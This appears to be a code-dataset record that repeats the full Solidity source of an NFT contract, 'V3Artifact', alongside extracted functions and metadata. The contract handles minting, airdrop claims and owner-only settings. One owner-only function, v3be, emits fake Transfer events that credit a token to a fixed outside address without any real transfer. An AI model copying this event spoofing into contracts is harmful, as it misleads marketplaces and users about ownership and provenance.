/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | ownerOf | function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
| /**
* @dev See {IERC721-ownerOf}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
4932,
5058
]
} | 4,288 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | name | function name() public view virtual override returns (string memory) {
return _name;
}
| /**
* @dev See {IERC721Metadata-name}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
5116,
5218
]
} | 4,289 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
